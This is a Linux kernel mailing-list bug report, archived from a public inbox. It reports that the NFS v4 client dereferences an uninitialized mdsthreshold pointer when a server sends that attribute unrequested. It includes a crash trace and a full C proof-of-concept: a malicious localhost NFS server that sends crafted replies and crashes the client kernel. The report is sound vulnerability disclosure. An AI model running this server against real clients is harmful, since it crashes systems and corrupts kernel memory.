* NFS v4 client can dereference uninitialized pointer if server includes unrequested mdsthreshold attr
@ 2021-11-18 10:48 rtm
0 siblings, 0 replies; only message in thread
From: rtm @ 2021-11-18 10:48 UTC (permalink / raw)
To: Trond Myklebust, Anna Schumaker; +Cc: linux-nfs
[-- Attachment #1: Type: text/plain, Size: 2310 bytes --]
I think nfs_fattr_init() ought to set fattr->mdsthreshold to NULL. If
the kmalloc()'d attr memory doesn't happen to be zero at
fattr->mdsthreshold, and the server returns an unrequested mdsthreshold
attribute, then decode_getfattr_attrs() will try to store via the
uninitialized pointer in decode_first_threshold_item4().
I've attached a demo program, which I run with slub_debug=FZP:
# uname -a
Linux (none) 5.15.0-rc7-dirty #78 SMP Mon Nov 15 15:49:15 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
# cc nfs_15.c
# ./nfs_15
...
[ 27.950132] decode_attr_mdsthreshold: Warning: Multiple pNFS layout drivers per filesystem not supported
[ 27.969630] Unable to handle kernel paging request at virtual address 6b6b6b6b6b6b6b6f
[ 28.058092] epc : ffffffff8023dee0 ra : ffffffff8023deb2 sp : ffffffd00055b500
[ 28.231013] status: 0000000200000121 badaddr: 6b6b6b6b6b6b6b6f cause: 000000000000000f
[ 28.246069] [<ffffffff8023dee0>] decode_getfattr_attrs+0xdae/0x11fe
[ 28.259758] [<ffffffff8023e44e>] decode_getfattr_generic.constprop.0+0x11e/0x1b2
[ 28.275547] [<ffffffff8023ec86>] nfs4_xdr_dec_lookup+0xa2/0xac
[ 28.289208] [<ffffffff80754750>] rpcauth_unwrap_resp_decode+0x12/0x1a
[ 28.302635] [<ffffffff8075540c>] rpcauth_unwrap_resp+0x12/0x1a
[ 28.316324] [<ffffffff8074b7a8>] call_decode+0x112/0x176
[ 28.327634] [<ffffffff80753c8c>] __rpc_execute+0x76/0x216
[ 28.338932] [<ffffffff807542aa>] rpc_execute+0x58/0x7e
[ 28.350241] [<ffffffff8074cb34>] rpc_run_task+0x12c/0x16c
[ 28.361567] [<ffffffff8022271e>] nfs4_call_sync_custom+0x12/0x32
[ 28.375315] [<ffffffff802227ae>] nfs4_do_call_sync+0x70/0x8c
[ 28.389058] [<ffffffff802233ba>] _nfs4_proc_lookup+0xf2/0x11a
[ 28.402819] [<ffffffff8022e7ea>] nfs4_proc_lookup_common+0x7c/0x2a2
[ 28.416516] [<ffffffff8022eace>] nfs4_proc_lookup+0x42/0x9e
[ 28.427830] [<ffffffff80209c02>] nfs_lookup+0xa6/0x122
[ 28.439138] [<ffffffff80209f18>] nfs_atomic_open+0x29a/0x342
[ 28.452815] [<ffffffff8013756e>] path_openat+0x5ca/0xaf6
[ 28.464063] [<ffffffff80138468>] do_filp_open+0x70/0xd0
[ 28.475375] [<ffffffff801276de>] do_sys_openat2+0x1fc/0x298
[ 28.486697] [<ffffffff80128870>] do_sys_open+0x3c/0x78
[ 28.497986] [<ffffffff801288ee>] sys_openat+0x18/0x20
[ 28.509270] [<ffffffff80003046>] ret_from_syscall+0x0/0x2
[-- Attachment #2: nfs_15.c --]
[-- Type: application/octet-stream, Size: 19454 bytes --]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <assert.h>
int sym_op = 9;
int sym_skip = 10;
int sym_type = 0; // all fattr4 file types
int sym_fh = 0; // all file handles
int sym_bitmaps = 0;
int opcounts[256];
long long next_cookie = 3;
int current_fh = 0;
// map file/dir names to file handle
char *fhnames[] = {
"",
"tmp",
"x",
"y",
"z",
"zzz",
0
};
int
name2fh(char *name)
{
for(int i = 0; fhnames[i]; i++){
if(strcmp(name, fhnames[i]) == 0)
return i;
}
return 100;
}
#define NAA 128
unsigned long long aa[NAA] = {
0x0ull,
0x2000000ull,
0x0ull,
0x20000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x8000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x10000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x6508000006000000ull,
0xf08dull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x20000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;
char ibuf[4096];
int ilen = 0;
int ii = 0;
char obuf[4096];
int oi = 0;
int symstart = -1;
int symend = -1;
int readn(int fd, void *xbuf, int n) {
char *buf = (char *) xbuf;
int orig = n;
while(n > 0){
int cc = read(fd, buf, n);
if(cc <= 0) { perror("read"); return -1; }
n -= cc;
buf += cc;
}
return orig;
}
unsigned int
parse32()
{
if(ii >= ilen){
printf("parsed beyond the end of the input\n");
return 0;
}
unsigned int x = *(int*)(ibuf+ii);
ii += 4;
return ntohl(x);
}
unsigned long long
parse64()
{
unsigned long long hi = parse32();
unsigned long long lo = parse32();
return (hi << 32) | lo;
}
// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
for(int i = 0; i < 16; i++){
if(sid)
sid[i] = ibuf[ii];
ii++;
}
}
unsigned int
parse_opaque(char *buf)
{
if(buf)
buf[0] = 0;
int nominal_n = parse32();
if(nominal_n > 4096){
printf("crazy opaque length %d\n", nominal_n);
return 0;
}
int real_n = nominal_n;
while((real_n%4) != 0) real_n += 1;
for(int i = 0; i < real_n; i++){
if(buf && i < real_n)
buf[i] = ibuf[ii];
ii++;
}
return nominal_n;
}
void
put32(unsigned int x)
{
assert((oi % 4) == 0);
*(int*)(obuf+oi) = htonl(x);
oi += 4;
}
void
put64(unsigned long long x)
{
put32(x >> 32);
put32(x);
}
void
put_opaque(int n, char *buf)
{
put32(n);
for(int i = 0; i < n; i++)
obuf[oi++] = (buf ? buf[i] : 0);
while((n%4)!=0){
obuf[oi++] = 0;
n++;
}
}
void
put_sid(char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
void
parse_nop()
{
}
void
parse_op_exchange_id()
{
parse32(); // verifier4, first half
parse32(); // verifier4, second half
parse_opaque(0); // eia_clientowner
int cflags = parse32(); // eia_flags
parse32(); // state_protect4_a.spa_how, assume SP4_NONE
int nimpl = parse32(); // length of client_impl_id
for(int impli = 0; impli < nimpl; impli++){
char junk[512];
parse_opaque(junk); // nii_domain
// printf("nii_domain: %s\n", junk);
parse_opaque(junk); // nii_name
// printf("nii_name: %s\n", junk);
parse64(); // 1/2 of nfstime4
parse32(); // 1/2 of nfstime4
}
// finish EXCHANGE_ID4res
put32(0); // eir_status = NFS4_OK
put64(1); // clientid4
put32(1); // sequenceid4
int sflags = 0x103 | 0x10000; // EXCHGID4_FLAG_USE_NON_PNFS
put32(sflags); // eir_flags
put32(0); // state_protect4_r.spr_how = SP4_NONE
put64(1); // server_owner4.so_minor_id
put32(4); // length of so_major_id<>
put32(0x11223344); // so_major_id<>
put32(4); // length of eir_server_scope
put32(0x11223344);
put32(1); // length of eir_server_impl_id<1>
put32(4); // nfs_impl_id4.nii_domain
put32(0x11223344);
put32(4); // nfs_impl_id4.nii_name
put32(0x11223344);
put64(0); // nii_date 1/2
put32(0); // nii_date 2/2
}
void
parse_op_create_session()
{
parse64(); // csa_clientid
int seq = parse32(); // csa_sequence
parse32(); // csa_flags
// csa_fore_chan_attrs, csa_back_chan_attrs
int attrs[2][6];
for(int i = 0; i < 2; i++){
for(int j = 0; j < 6; j++){
attrs[i][j] = parse32();
}
parse_opaque(0); // ca_rdma_ird<1>
}
put32(0); // OK
for(int i = 0; i < 4; i++)
put32(1); // csr_sessionid i/4
put32(seq); // csr_sequence
put32(0x3); // csr_flags
for(int i = 0; i < 2; i++){
for(int j = 0; j < 6; j++)
put32(attrs[i][j]);
put32(0); // ca_rdma_ird
}
}
void
parse_op_sequence()
{
char sid[16];
parse_sid(sid); // sa_sessionid
int seq = parse32(); // sa_sequenceid
int slot = parse32(); // sa_slotid
int hislot = parse32(); // sa_highest_slotid
parse32(); // sa_cachethis
put32(0); // OK
put_sid(sid); // sr_sessionid
put32(seq); // sr_sequenceid
put32(slot); // sr_slotid
put32(hislot); // sr_highest_slotid
put32(hislot); // sr_target_highest_slotid
put32(0); // sr_status_flags
}
void
parse_op_reclaim_complete()
{
parse32(); // rca_one_fs
put32(0); // rcr_status
}
void
parse_op_putrootfh()
{
// no arguments
put32(0); // OK
current_fh = 0;
}
void
parse_op_secinfo_no_name()
{
parse32(); // secinfo_style4
put32(0); // OK
put32(1); // # of secinfo4
#if 1
put32(0); // flavor = AUTH_NULL
#else
put32(6); // flavor = RPCSEC_GSS
put32(4); // size of sec_oid4
put32(0xffffffff);
put32(0); // qop4
put32(1); // rpc_gss_svc_t
#endif
}
void
parse_op_destroy_session()
{
parse_sid(0);
put32(0); // OK
}
void
parse_op_destroy_clientid()
{
parse64(); // clientid
put32(0); // OK
}
void
parse_op_getfh()
{
// no arguments
put32(0); // OK
int xfh = current_fh;
if(sym_fh) xfh ^= aa[aai++];
put_opaque(4, (char*)&xfh); // fh
}
//
// called by getattr and readdir.
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int bitwords, int xwords[], int fh)
{
int words[3];
for(int i = 0; i < 3; i++){
if(i < bitwords)
words[i] = xwords[i];
else
words[i] = 0;
if(sym_bitmaps){
words[i] ^= aa[aai++];
}
}
bitwords = 3;
put32(bitwords);
int word0i = oi;
for(int i = 0; i < bitwords; i++)
put32(words[i]);
int leni = oi;
put32(0); // placeholder for total length of attrs
for(int a = 0; a < bitwords*32; a++){
if(words[a/32] & (1 << (a % 32))){
if(a == 0){
put32(2); // # bitmap words of supported attrs
put32(0xffffffff);
put32(0xffffffff);
} else if(a == 1){
int type = 1;
if(fh == 0 || fh == 1)
type = 2;
if(sym_type) type ^= aa[aai++];
put32(type); // NF4DIR=2 or NF4REG=1
} else if(a == 2){
put32(0); // fh_expire_type
} else if(a == 3){
put64(0); // change
} else if(a == 4){
put64(4096*10); // size
} else if(a == 5){
put32(1); // link support
} else if(a == 6){
put32(1); // symlink support
} else if(a == 8){
put64(1); // fsid major
put64(1); // fsid minor
} else if(a == 10){
put32(1); // lease time
} else if(a == 11){
put32(0); // rdattr_error
} else if(a == 13){
put32(0xf); // aclsupport
} else if(a == 19){
// filehandle
int xfh = fh;
if(sym_fh) xfh ^= aa[aai++];
put_opaque(4, (char*)&xfh); // fh
} else if(a == 20){
put64(fh); // fileid
} else if(a == 24){
// fs_locations
put32(1);
put_opaque(10, "abcde12345"); // pathname4
put32(1); // locations<>
put_opaque(10, "abcde12345"); // server
put32(1);
put_opaque(10, "abcde12345"); // rootpath
} else if(a == 27){
put64(0xffffffffffff); // max file size
} else if(a == 28){
put32(0xffff); // max link
} else if(a == 29){
put32(256); // max name
} else if(a == 30){
put64(10*4096); // max read
} else if(a == 31){
put64(10*4096); // max write
} else if(a == 33){
put32(0777); // mode
} else if(a == 35){
put32(3); // numlinks
} else if(a == 36){
put_opaque(6, "other"); // owner
} else if(a == 37){
put_opaque(6, "other"); // owner_group
} else if(a == 41){
put32(1); // rawdev major
put32(1); // rawdev minor
} else if(a == 45){
put64(4096*10); // space used
} else if(a == 47){
put64(0); // time access seconds
put32(0); // nseconds
} else if(a == 51){
put64(0); // time delta seconds
put32(0); // nseconds
} else if(a == 52){
put64(0); // time metadata seconds
put32(0); // nseconds
} else if(a == 53){
put64(0); // time modify seconds
put32(0); // nseconds
} else if(a == 55){
put64(0); // mounted_on_fileid ???
} else if(a == 62){
// fs_layout_types
put32(1);
put32(1); // LAYOUT4_NFSV4_1_FILES
} else if(a == 75){
// FATTR4_SUPPATTR_EXCLCREAT
put32(2); // bitmap length
put32(0xffffffff);
put32(0xffffffff);
} else {
if(sym_bitmaps){
words[a/32] &= ~(1 << (a % 32));
*(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
} else {
printf("unknown requested attr %d\n", a);
put64(0); // XXX
}
}
}
}
*(int*)(obuf+leni) = htonl(oi - leni - 4);
}
void
parse_op_getattr()
{
int bitwords = parse32();
int words[64];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
put32(0); // OK
put_fattr4(bitwords, words, current_fh);
}
void
parse_op_putfh()
{
char buf[64];
int n = parse_opaque(buf); // fh
if(n != 4){
printf("op_putfh fh size %d, not 4\n", n);
exit(1);
}
int fh = *(int*)buf;
current_fh = fh;
put32(0); // OK
}
void
parse_op_access()
{
int mask = parse32(); // mask of rights to query
put32(0); // OK
put32(0x3f); // supported = all rights
put32(0x3f); // access = all rights
}
void
parse_op_lookup()
{
char name[256];
int n = parse_opaque(name);
name[n>=0?n:0] = '\0';
printf("lookup %s\n", name);
put32(0); // OK
current_fh = name2fh(name);
}
void
parse_op_readdir()
{
long long cookie = parse64();
long long verf = parse64(); // cookie verifier
parse32(); // dircount
parse32(); // maxcount
// attr_request
int bitwords = parse32();
int words[32];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
put32(0); // OK
put64(verf); // cookieverf
char *names[] = { "z", "zzz" };
for(int i = 0; i < 2; i++){
put32(1); // *nextentry
put64(next_cookie++); // cookie
put_opaque(3, names[i]); // name
put_fattr4(bitwords, words, name2fh(names[i]));
}
put32(0); // *nextentry
put32(1); // eof
}
void
parse_op_open()
{
char name[256];
name[0] = 0;
parse32(); // seqid
parse32(); // share_access
parse32(); // share_deny
parse64(); // owner client id
parse_opaque(0); // owner owner
// openflag4
int opentype = parse32();
if(opentype == 1){
// OPEN4_CREATE
int mode = parse32(); // createhow4
if(mode == 0){
// UNCHECKED4
// fattr4 createattrs
int bitwords = parse32();
int words[32];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
parse_opaque(0); // attrlist4
} else {
printf("OPEN4_CREATE unknown mode %d\n", mode);
exit(1);
}
} else if(opentype == 0){
// OPEN4_NOCREATE
} else {
printf("unknown opentype %d\n", opentype);
exit(1);
}
int open_claim_type = parse32();
if(open_claim_type == 0){
// CLAIM_NULL
parse_opaque(name); // file name
} else if(open_claim_type == 2){
// CLAIM_DELEGATE_CUR
// open_claim_delegate_cur4
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse_opaque(name); // file name
} else if(open_claim_type == 4){
// CLAIM_FH
} else {
printf("oy, open_claim_type %d\n", open_claim_type);
exit(1);
}
put32(0); // OK
// stateid4
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
// change_info4
put32(1);
put64(0); // before
put64(0); // after
put32(0); // rflags
put32(0); // attrset bitmap length
// open_delegation4
put32(0); // OPEN_DELEGATE_NONE
printf(" name=%s\n", name);
if(name[0]){
current_fh = name2fh(name);
} else {
printf("op_open: no name with which to set fh\n");
}
}
void
parse_op_setattr()
{
// stateid4
parse32(); // seqid
parse32(); // other
parse32(); // other
parse32(); // other
// fattr4
int bitwords = parse32();
int words[64];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
parse_opaque(0); // attrlist4
put32(0); // OK
put32(bitwords);
for(int i = 0; i < bitwords; i++)
put32(words[i]);
}
void
parse_op_layoutget()
{
parse32(); // loga_signal_layout_avail
parse32(); // layouttype4
parse32(); // layoutiomode4
parse64(); // offset
parse64(); // length
parse64(); // minlength
parse32(); // stateid4 seqid
parse32(); // stateid4 other
parse32(); // stateid4 other
parse32(); // stateid4 other
parse32(); // count32
put32(0); // OK
put32(0); // return_on_close
put32(0); // stateid4 seqid
put32(0); // stateid4 other
put32(0); // stateid4 other
put32(0); // stateid4 other
put32(1); // # of layout4
put64(0); // offset
put64(1000000); // length
put32(3); // layoutiomode4
put32(1); // layouttype4
put_opaque(8, "xxxxxxxx"); // loc_body
}
void
parse_op_write()
{
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse64(); // offset
parse32(); // stable_how4
int n = parse_opaque(0); // data
put32(0); // OK
put32(n); // count
put32(0); // UNSTABLE4
put64(1); // verifier
}
void
parse_op_read()
{
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse64(); // offset
parse32(); // count
put32(0); // OK
put32(1); // eof
put_opaque(4, "abcd");
}
void
parse_op_commit()
{
parse64(); // offset
parse32(); // count
put32(0); // OK
put64(1); // verifier4
}
void
parse_compound()
{
char tag[512];
int taglen = parse_opaque(tag); // tag
parse32(); // minor version
int nops = parse32();
// start a COMPOUND4res
put32(0); // nfsstat4 = NFS4_OK
put_opaque(taglen, tag);
put32(nops); // length of resarray<>
for(int opindex = 0; opindex < nops && oi < ilen; opindex++){
int op = parse32();
printf("op %d #%d\n", op, opcounts[op&0xff]);
put32(op); // resop in nfs_resop4
if(sym_op == op){
if(sym_skip <= 0){
symstart = oi;
}
sym_skip -= 1;
}
if(op == 42){
parse_op_exchange_id();
} else if(op == 43){
parse_op_create_session();
} else if(op == 53){
parse_op_sequence();
} else if(op == 58){
parse_op_reclaim_complete();
} else if(op == 24){
parse_op_putrootfh();
} else if(op == 52){
parse_op_secinfo_no_name();
} else if(op == 44){
parse_op_destroy_session();
} else if(op == 57){
parse_op_destroy_clientid();
} else if(op == 10){
parse_op_getfh();
} else if(op == 9){
parse_op_getattr();
} else if(op == 22){
parse_op_putfh();
} else if(op == 3){
parse_op_access();
} else if(op == 15){
parse_op_lookup();
} else if(op == 26){
parse_op_readdir();
} else if(op == 18){
parse_op_open();
} else if(op == 34){
parse_op_setattr();
} else if(op == 50){
parse_op_layoutget();
} else if(op == 38){
parse_op_write();
} else if(op == 25){
parse_op_read();
} else if(op == 5){
parse_op_commit();
} else {
printf("unknown op %d\n", op);
// cannot continue to the next op since
// we don't know how long this one is.
break;
}
if(symstart != -1)
symend = oi;
opcounts[op&0xff] += 1;
}
}
void
parse_rpc()
{
// SUN RPC
int xid = parse32();
parse32(); // mtype=CALL
parse32(); // rpc version
parse32(); // prog#
parse32(); // prog vers
int proc = parse32();
parse32(); // cred type
parse_opaque(0); // cred
parse32(); // verf type
parse_opaque(0); // verf
put32(xid);
put32(1); // REPLY
put32(0); // MSG_ACCEPTED
put32(0); // opaque_auth flavor = AUTH_NULL
put32(0); // opaque_auth length
put32(0); // SUCCESS
if(proc == 0){
parse_nop();
} else if(proc == 1){
parse_compound();
} else {
printf("unknown rpc proc %d\n", proc);
}
}
int
main(){
setlinebuf(stdout);
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(2049);
int yes = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
perror("bind"); exit(1);
}
listen(s, 10);
int pid1 = fork();
if(pid1 == 0){
close(s);
if(system("echo -n mount: ; mount -o nolock,nodev 127.0.0.1:/tmp /mnt") == 0){
int fd = open("/mnt/z", 0);
if(fd >= 0){
struct stat sb;
memset(&sb, 0, sizeof(sb));
fstat(fd, &sb);
if((sb.st_mode & S_IFMT) == S_IFCHR){
printf("oops st_mode 0%o -- character device\n", sb.st_mode);
system("halt -f");
}
}
system("echo -n umount: ; umount /mnt");
}
exit(0);
}
int pid2 = fork();
if(pid2 == 0){
socklen_t sinlen = sizeof(sin);
printf("calling accept\n");
int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
printf("accept returned %d\n", s1);
if(s1 < 0) { perror("accept"); exit(1); }
close(s);
while(1){
if(readn(s1, &ilen, 4) < 0) break;
ilen = ntohl(ilen);
ilen &= 0x7fffffff;
if(readn(s1, ibuf, ilen) < 0) break;
oi = ii = 0;
put32(0); // place-holder for length
parse_rpc();
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
if(aai > NAA){
printf("oops aai %d NAA %d\n", aai, NAA);
exit(1);
}
if(symstart != -1){
for(int i = symstart; i < oi && i < symend && aai < NAA; i += 8)
*(unsigned long long *)(obuf + i) ^= aa[aai++];
symstart = -1;
}
if(write(s1, obuf, oi)<=0) perror("write");
}
exit(1);
}
close(s);
sleep(20);
}
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~2021-11-18 10:48 UTC | newest]
Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2021-11-18 10:48 NFS v4 client can dereference uninitialized pointer if server includes unrequested mdsthreshold attr rtm
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox